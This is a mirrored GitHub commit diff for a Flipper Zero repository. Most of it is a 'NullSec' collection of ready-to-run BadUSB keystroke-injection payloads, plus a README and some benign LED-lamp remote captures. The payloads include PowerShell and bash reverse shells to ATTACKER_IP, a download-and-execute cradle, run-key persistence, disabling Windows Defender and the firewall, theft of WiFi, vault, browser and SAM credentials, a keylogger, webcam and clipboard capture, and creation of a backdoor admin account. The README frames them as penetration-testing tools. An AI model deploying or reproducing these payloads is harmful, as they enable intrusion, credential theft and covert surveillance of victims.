mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-17 07:13:18 +00:00
Merge branch 'main' into mainRM
This commit is contained in:
RogueMaster
@@ -0,0 +1 @@
|
||||
# Flipper Apps by UberGuidoZ
|
||||
@@ -0,0 +1 @@
|
||||
# Flipper Apps by UberGuidoZ
|
||||
@@ -0,0 +1,10 @@
|
||||
App(
|
||||
appid="gpio_logic_analyzer",
|
||||
name="GPIO Logic Analyzer",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="gpio_analyzer_app",
|
||||
requires=["gui", "storage", "notification"],
|
||||
stack_size=3 * 1024,
|
||||
fap_category="GPIO",
|
||||
fap_version=(2, 0),
|
||||
)
|
||||
@@ -0,0 +1,31 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: System Reconnaissance
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING $info = @{}
|
||||
ENTER
|
||||
STRING $info.Hostname = $env:COMPUTERNAME
|
||||
ENTER
|
||||
STRING $info.Username = $env:USERNAME
|
||||
ENTER
|
||||
STRING $info.Domain = $env:USERDOMAIN
|
||||
ENTER
|
||||
STRING $info.OS = (Get-WmiObject Win32_OperatingSystem).Caption
|
||||
ENTER
|
||||
STRING $info.IP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike "*Loopback*"}).IPAddress
|
||||
ENTER
|
||||
STRING $info.MAC = (Get-NetAdapter | Where-Object {$_.Status -eq "Up"}).MacAddress
|
||||
ENTER
|
||||
STRING $info.Antivirus = (Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct).displayName
|
||||
ENTER
|
||||
STRING $info | ConvertTo-Json | Out-File "$env:TEMP\sysinfo.json"
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,27 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: WiFi Password Stealer
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING $wifi = @()
|
||||
ENTER
|
||||
STRING (netsh wlan show profiles) | Select-String ":(.+)$" | ForEach-Object {
|
||||
ENTER
|
||||
STRING $name = $_.Matches.Groups[1].Value.Trim()
|
||||
ENTER
|
||||
STRING $pass = (netsh wlan show profile name="$name" key=clear) | Select-String "Key Content\W+:(.+)$"
|
||||
ENTER
|
||||
STRING if($pass) { $wifi += @{SSID=$name;Password=$pass.Matches.Groups[1].Value.Trim()} }
|
||||
ENTER
|
||||
STRING }
|
||||
ENTER
|
||||
STRING $wifi | ConvertTo-Json | Out-File "$env:TEMP\wifi.json"
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,11 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: PowerShell Reverse Shell
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
REM CONFIGURE: Change ATTACKER_IP and PORT
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -nop -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
|
||||
ENTER
|
||||
@@ -0,0 +1,13 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Disable Windows Defender
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -ep bypass -c "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true; netsh advfirewall set allprofiles state off"'
|
||||
ENTER
|
||||
DELAY 2000
|
||||
ALT y
|
||||
ENTER
|
||||
@@ -0,0 +1,21 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Credential Dumper
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
|
||||
ENTER
|
||||
STRING $vault = New-Object Windows.Security.Credentials.PasswordVault
|
||||
ENTER
|
||||
STRING $creds = $vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }
|
||||
ENTER
|
||||
STRING $creds | Select-Object Resource, UserName, Password | ConvertTo-Json | Out-File "$env:TEMP\creds.json"
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,27 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Browser Data Extractor
|
||||
REM Target: Windows 10/11 (Chrome/Edge)
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default"
|
||||
ENTER
|
||||
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default"
|
||||
ENTER
|
||||
STRING $out = "$env:TEMP\browser_data"
|
||||
ENTER
|
||||
STRING New-Item -ItemType Directory -Force -Path $out | Out-Null
|
||||
ENTER
|
||||
STRING if(Test-Path "$chromePath\Login Data"){Copy-Item "$chromePath\Login Data" "$out\chrome_logins.db"}
|
||||
ENTER
|
||||
STRING if(Test-Path "$chromePath\History"){Copy-Item "$chromePath\History" "$out\chrome_history.db"}
|
||||
ENTER
|
||||
STRING if(Test-Path "$edgePath\Login Data"){Copy-Item "$edgePath\Login Data" "$out\edge_logins.db"}
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,24 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: PowerShell Keylogger
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass -c "$code = @'
|
||||
ENTER
|
||||
STRING Add-Type -TypeDefinition @"
|
||||
ENTER
|
||||
STRING using System; using System.Runtime.InteropServices;
|
||||
ENTER
|
||||
STRING public class KL { [DllImport(\"user32.dll\")] public static extern int GetAsyncKeyState(Int32 i); }
|
||||
ENTER
|
||||
STRING "@ -Language CSharp
|
||||
ENTER
|
||||
STRING $log = \"$env:TEMP\kl.txt\"; while($true){Start-Sleep -Milliseconds 40
|
||||
ENTER
|
||||
STRING for($i=8;$i -le 190;$i++){if([KL]::GetAsyncKeyState($i) -eq -32767){$k=[char]$i;$k|Out-File $log -Append}}}
|
||||
ENTER
|
||||
STRING '@ ; Invoke-Expression $code"
|
||||
ENTER
|
||||
@@ -0,0 +1,21 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Network Scanner
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING $subnet = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike "*Loopback*"}).IPAddress -replace '\.\d+$',''
|
||||
ENTER
|
||||
STRING $results = @()
|
||||
ENTER
|
||||
STRING 1..254 | ForEach-Object -Parallel { if(Test-Connection -ComputerName "$using:subnet.$_" -Count 1 -Quiet -TimeoutSeconds 1){$_} } -ThrottleLimit 50 | ForEach-Object { $results += "$subnet.$_" }
|
||||
ENTER
|
||||
STRING $results | Out-File "$env:TEMP\network_scan.txt"
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,13 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: SAM Database Dump
|
||||
REM Target: Windows 10/11 (Requires Admin)
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -ep bypass -c "reg save HKLM\SAM $env:TEMP\sam.hiv; reg save HKLM\SYSTEM $env:TEMP\system.hiv"'
|
||||
ENTER
|
||||
DELAY 2000
|
||||
ALT y
|
||||
ENTER
|
||||
@@ -0,0 +1,11 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Registry Persistence
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
REM CONFIGURE: Change PAYLOAD_URL to your hosted payload
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass -c "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsUpdate' -Value 'powershell -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString(''PAYLOAD_URL'')\"' -PropertyType String -Force"
|
||||
ENTER
|
||||
@@ -0,0 +1,39 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Fake Windows Update Screen
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING Add-Type -AssemblyName System.Windows.Forms
|
||||
ENTER
|
||||
STRING $form = New-Object System.Windows.Forms.Form
|
||||
ENTER
|
||||
STRING $form.Text = 'Windows Update'
|
||||
ENTER
|
||||
STRING $form.BackColor = [System.Drawing.Color]::FromArgb(0,120,215)
|
||||
ENTER
|
||||
STRING $form.FormBorderStyle = 'None'
|
||||
ENTER
|
||||
STRING $form.WindowState = 'Maximized'
|
||||
ENTER
|
||||
STRING $label = New-Object System.Windows.Forms.Label
|
||||
ENTER
|
||||
STRING $label.Text = "Working on updates`n`nDo not turn off your PC. This will take a while.`n`nYour PC will restart several times."
|
||||
ENTER
|
||||
STRING $label.ForeColor = 'White'
|
||||
ENTER
|
||||
STRING $label.Font = New-Object System.Drawing.Font('Segoe UI',24)
|
||||
ENTER
|
||||
STRING $label.AutoSize = $true
|
||||
ENTER
|
||||
STRING $label.Location = New-Object System.Drawing.Point(400,300)
|
||||
ENTER
|
||||
STRING $form.Controls.Add($label)
|
||||
ENTER
|
||||
STRING $form.ShowDialog()
|
||||
ENTER
|
||||
@@ -0,0 +1,25 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Webcam Snapshot
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING Add-Type -AssemblyName System.Windows.Forms
|
||||
ENTER
|
||||
STRING [Reflection.Assembly]::LoadWithPartialName("System.Drawing") | Out-Null
|
||||
ENTER
|
||||
STRING $webcam = New-Object -ComObject WIA.CommonDialog
|
||||
ENTER
|
||||
STRING $device = $webcam.ShowSelectDevice()
|
||||
ENTER
|
||||
STRING $img = $device.Items[1].Transfer()
|
||||
ENTER
|
||||
STRING $img.SaveFile("$env:TEMP\webcam.jpg")
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Clipboard Monitor/Stealer
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass -c "$log='$env:TEMP\clip.txt';while($true){$c=Get-Clipboard -Raw;if($c -and $c -ne $last){$c|Out-File $log -Append;$last=$c};Start-Sleep 2}"
|
||||
ENTER
|
||||
@@ -0,0 +1,27 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Screenshot Capture
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING Add-Type -AssemblyName System.Windows.Forms
|
||||
ENTER
|
||||
STRING [Reflection.Assembly]::LoadWithPartialName("System.Drawing") | Out-Null
|
||||
ENTER
|
||||
STRING $b = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
|
||||
ENTER
|
||||
STRING $bmp = New-Object System.Drawing.Bitmap($b.Width,$b.Height)
|
||||
ENTER
|
||||
STRING $g = [System.Drawing.Graphics]::FromImage($bmp)
|
||||
ENTER
|
||||
STRING $g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size)
|
||||
ENTER
|
||||
STRING $bmp.Save("$env:TEMP\screenshot.png")
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,27 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: USB Auto-Exfiltration
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING $usb = Get-WmiObject Win32_LogicalDisk | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1
|
||||
ENTER
|
||||
STRING if($usb){
|
||||
ENTER
|
||||
STRING $dest = "$($usb.DeviceID)\exfil_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
|
||||
ENTER
|
||||
STRING New-Item -ItemType Directory -Force -Path $dest | Out-Null
|
||||
ENTER
|
||||
STRING Copy-Item "$env:USERPROFILE\Documents\*" $dest -Recurse -ErrorAction SilentlyContinue
|
||||
ENTER
|
||||
STRING Copy-Item "$env:USERPROFILE\Desktop\*" $dest -Recurse -ErrorAction SilentlyContinue
|
||||
ENTER
|
||||
STRING }
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: RickRoll Prank
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
|
||||
ENTER
|
||||
@@ -0,0 +1,14 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Change Wallpaper
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass -c "Invoke-WebRequest 'https://i.imgur.com/FJYwR6P.jpg' -OutFile '$env:TEMP\wp.jpg';Add-Type @'
|
||||
ENTER
|
||||
STRING using System.Runtime.InteropServices; public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int a,int b,string c,int d);}
|
||||
ENTER
|
||||
STRING '@;[W]::SystemParametersInfo(20,0,\"$env:TEMP\wp.jpg\",3)"
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Text-to-Speech Prank
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -c "Add-Type -AssemblyName System.Speech;$s=New-Object System.Speech.Synthesis.SpeechSynthesizer;$s.Speak('I am watching you. I can see everything you do. Your computer now belongs to NullSec.')"
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Disable Mouse/Keyboard Prank
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -c "$d=Get-PnpDevice|Where-Object{$_.Class -eq 'Mouse'};$d|Disable-PnpDevice -Confirm:$false;Start-Sleep 30;$d|Enable-PnpDevice -Confirm:$false"
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Invert Screen Colors
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -c "Set-ItemProperty 'HKCU:\Software\Microsoft\ColorFiltering' -Name Active -Value 1 -Type DWord -Force; Set-ItemProperty 'HKCU:\Software\Microsoft\ColorFiltering' -Name FilterType -Value 1 -Type DWord -Force"
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Linux System Recon
|
||||
REM Target: Linux
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
CTRL ALT t
|
||||
DELAY 1000
|
||||
STRING bash -c 'echo "=== SYSTEM INFO ===" > /tmp/.recon.txt; uname -a >> /tmp/.recon.txt; echo "=== USERS ===" >> /tmp/.recon.txt; cat /etc/passwd >> /tmp/.recon.txt; echo "=== NETWORK ===" >> /tmp/.recon.txt; ip a >> /tmp/.recon.txt; echo "=== PROCESSES ===" >> /tmp/.recon.txt; ps aux >> /tmp/.recon.txt' && exit
|
||||
ENTER
|
||||
@@ -0,0 +1,13 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Linux Reverse Shell
|
||||
REM Target: Linux
|
||||
REM ========================================
|
||||
REM CONFIGURE: Change ATTACKER_IP and PORT
|
||||
DELAY 1000
|
||||
CTRL ALT t
|
||||
DELAY 1000
|
||||
STRING bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,13 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: macOS System Recon
|
||||
REM Target: macOS
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING echo "=== SYSTEM ===" > /tmp/.recon.txt; system_profiler SPSoftwareDataType >> /tmp/.recon.txt; echo "=== NETWORK ===" >> /tmp/.recon.txt; ifconfig >> /tmp/.recon.txt; echo "=== USERS ===" >> /tmp/.recon.txt; dscl . list /Users >> /tmp/.recon.txt; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,11 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Download and Execute
|
||||
REM Target: Windows 10/11
|
||||
REM ========================================
|
||||
REM CONFIGURE: Change URL to your payload
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
|
||||
ENTER
|
||||
@@ -0,0 +1,13 @@
|
||||
REM ========================================
|
||||
REM NullSec Flipper Zero BadUSB
|
||||
REM Payload: Create Admin User
|
||||
REM Target: Windows 10/11 (Requires Admin)
|
||||
REM ========================================
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -c "net user nullsec N0tS3cur3! /add; net localgroup Administrators nullsec /add; net localgroup \"Remote Desktop Users\" nullsec /add"'
|
||||
ENTER
|
||||
DELAY 2000
|
||||
ALT y
|
||||
ENTER
|
||||
@@ -0,0 +1,85 @@
|
||||
# NullSec BadUSB Collection
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/Platform-Windows%20%7C%20Linux%20%7C%20Mac-blue?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/Payloads-25+-green?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/Author-bad--antics-orange?style=for-the-badge" />
|
||||
</p>
|
||||
|
||||
A comprehensive collection of BadUSB payloads for the Flipper Zero, designed for penetration testing and security research.
|
||||
|
||||
## 📁 Payload Categories
|
||||
|
||||
### 🔍 Reconnaissance
|
||||
| Payload | Target | Description |
|
||||
|---------|--------|-------------|
|
||||
| `01_SystemRecon.txt` | Windows | Enumerate system info, users, processes, network |
|
||||
| `08_NetworkScan.txt` | Windows | Discover network hosts and services |
|
||||
| `21_LinuxRecon.txt` | Linux | Linux system reconnaissance |
|
||||
| `23_MacOSRecon.txt` | macOS | macOS system enumeration |
|
||||
|
||||
### 🔑 Credential Extraction
|
||||
| Payload | Target | Description |
|
||||
|---------|--------|-------------|
|
||||
| `02_WiFiStealer.txt` | Windows | Extract saved WiFi passwords |
|
||||
| `05_CredDump.txt` | Windows | Dump cached credentials |
|
||||
| `06_BrowserData.txt` | Windows | Extract browser history, cookies, passwords |
|
||||
| `09_SAMDump.txt` | Windows | Dump SAM database (requires admin) |
|
||||
|
||||
### 🐚 Remote Access
|
||||
| Payload | Target | Description |
|
||||
|---------|--------|-------------|
|
||||
| `03_ReverseShell.txt` | Windows | PowerShell reverse shell |
|
||||
| `22_LinuxReverseShell.txt` | Linux | Bash reverse shell |
|
||||
| `24_DownloadExecute.txt` | Windows | Download and execute remote payload |
|
||||
|
||||
### 🛡️ Defense Evasion
|
||||
| Payload | Target | Description |
|
||||
|---------|--------|-------------|
|
||||
| `04_DisableDefender.txt` | Windows | Disable Windows Defender |
|
||||
| `10_Persistence.txt` | Windows | Registry run key persistence |
|
||||
| `25_CreateAdmin.txt` | Windows | Create hidden admin account |
|
||||
|
||||
### �� Data Exfiltration
|
||||
| Payload | Target | Description |
|
||||
|---------|--------|-------------|
|
||||
| `07_Keylogger.txt` | Windows | Install PowerShell keylogger |
|
||||
| `12_WebcamSnap.txt` | Windows | Capture webcam image |
|
||||
| `13_ClipboardStealer.txt` | Windows | Monitor clipboard contents |
|
||||
| `14_ScreenCapture.txt` | Windows | Take screenshot |
|
||||
| `15_USBExfil.txt` | Windows | Copy documents to USB |
|
||||
|
||||
### 😈 Pranks (Harmless)
|
||||
| Payload | Target | Description |
|
||||
|---------|--------|-------------|
|
||||
| `11_FakeUpdate.txt` | Windows | Fake Windows update screen |
|
||||
| `16_RickRoll.txt` | Windows | Classic RickRoll |
|
||||
| `17_WallpaperPrank.txt` | Windows | Change wallpaper |
|
||||
| `18_VoicePrank.txt` | Windows | Text-to-speech prank |
|
||||
| `19_DisableMouse.txt` | Windows | Temporarily disable mouse |
|
||||
| `20_InvertScreen.txt` | Windows | Invert display colors |
|
||||
|
||||
## ⚙️ Usage
|
||||
|
||||
1. Copy desired payload to your Flipper Zero's `badusb` folder
|
||||
2. Navigate to BadUSB on your Flipper
|
||||
3. Select the payload
|
||||
4. Connect to target device
|
||||
5. Execute
|
||||
|
||||
## ⚠️ Disclaimer
|
||||
|
||||
These payloads are provided for **educational and authorized security testing purposes only**.
|
||||
- Only use on systems you own or have explicit permission to test
|
||||
- Never use for malicious purposes
|
||||
- The author is not responsible for misuse
|
||||
|
||||
## 🔗 Links
|
||||
|
||||
- **Full Suite**: [nullsec-flipper-suite](https://github.com/bad-antics/nullsec-flipper-suite)
|
||||
- **Author**: [bad-antics](https://github.com/bad-antics)
|
||||
- **Discord**: discord.gg/killers
|
||||
|
||||
## 📜 License
|
||||
|
||||
MIT License - Use responsibly!
|
||||
@@ -0,0 +1,9 @@
|
||||
Filetype: Flipper SubGhz Key File
|
||||
Version: 1
|
||||
Frequency: 433920000
|
||||
Preset: FuriHalSubGhzPresetOok650Async
|
||||
Protocol: BinRAW
|
||||
Bit: 154
|
||||
TE: 251
|
||||
Bit_RAW: 154
|
||||
Data_RAW: 00 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 1D D1 DD 11 1D 1D DD
|
||||
@@ -0,0 +1,9 @@
|
||||
Filetype: Flipper SubGhz Key File
|
||||
Version: 1
|
||||
Frequency: 433920000
|
||||
Preset: FuriHalSubGhzPresetOok650Async
|
||||
Protocol: BinRAW
|
||||
Bit: 155
|
||||
TE: 245
|
||||
Bit_RAW: 155
|
||||
Data_RAW: 00 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 1D D1 D1 11 1D 1D D1
|
||||
@@ -0,0 +1,9 @@
|
||||
Filetype: Flipper SubGhz Key File
|
||||
Version: 1
|
||||
Frequency: 433920000
|
||||
Preset: FuriHalSubGhzPresetOok650Async
|
||||
Protocol: BinRAW
|
||||
Bit: 153
|
||||
TE: 257
|
||||
Bit_RAW: 153
|
||||
Data_RAW: 00 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 11 11 1D 11 11 DD 1D
|
||||
@@ -0,0 +1,9 @@
|
||||
Filetype: Flipper SubGhz Key File
|
||||
Version: 1
|
||||
Frequency: 433920000
|
||||
Preset: FuriHalSubGhzPresetOok650Async
|
||||
Protocol: BinRAW
|
||||
Bit: 651
|
||||
TE: 252
|
||||
Bit_RAW: 651
|
||||
Data_RAW: 04 74 74 44 74 44 77 74 74 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 1D 11 1D 11 1D DD 1D 00 00 00 77 44 77 44 74 74 47 47 47 47 44 47 44 47 77 47 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40
|
||||
@@ -0,0 +1,9 @@
|
||||
Filetype: Flipper SubGhz Key File
|
||||
Version: 1
|
||||
Frequency: 433920000
|
||||
Preset: FuriHalSubGhzPresetOok650Async
|
||||
Protocol: BinRAW
|
||||
Bit: 745
|
||||
TE: 250
|
||||
Bit_RAW: 745
|
||||
Data_RAW: 00 88 E8 88 88 E8 E8 00 00 03 BA 23 BA 23 A3 A2 3A 3A 3A 23 A2 3A 22 22 3A 3A 00 00 00 EE 88 EE 88 E8 E8 8E 8E 8E 88 E8 8E 88 88 8E 8E 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
@@ -0,0 +1,9 @@
|
||||
Filetype: Flipper SubGhz Key File
|
||||
Version: 1
|
||||
Frequency: 433920000
|
||||
Preset: FuriHalSubGhzPresetOok650Async
|
||||
Protocol: BinRAW
|
||||
Bit: 737
|
||||
TE: 249
|
||||
Bit_RAW: 737
|
||||
Data_RAW: 01 1D 11 11 11 1D 00 00 00 77 44 77 44 74 74 47 47 47 44 77 47 44 44 44 47 40 00 00 1D D1 1D D1 1D 1D 11 D1 D1 D1 1D D1 D1 11 11 11 D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
@@ -0,0 +1,19 @@
|
||||
# PZLOZ CLED-5501C LED desk lamp
|
||||
|
||||
More info: [Amazon](https://www.amazon.com/Led-Desk-Lamp-Office-Home/dp/B0BRCJL4MM)
|
||||
|
||||
Captured by: [Grim1313](https://github.com/Grim1313) in Bin RAW mode with AM650 modulation
|
||||
|
||||
/// Note: if the commands don't work, you may need to perform the remote control pairing procedure according to the device manual. ///
|
||||
|
||||
Buttons:
|
||||
* On - off
|
||||
* Night light
|
||||
* Brightness
|
||||
* Timer
|
||||
* Color temperature
|
||||
* Reading mode
|
||||
|
||||
<img width="603" height="626" alt="ZZ02DY01007" src="https://github.com/user-attachments/assets/ad6465e5-43b3-4138-a3d9-f9cd01571855" />
|
||||
|
||||
<img width="603" height="603" alt="PZLOZ CLED-5501C LED desk lamp" src="https://github.com/user-attachments/assets/2433de8f-4613-4a9a-8e5d-f3a2560ba2eb" />
|
||||
Reference in New Issue
Block a user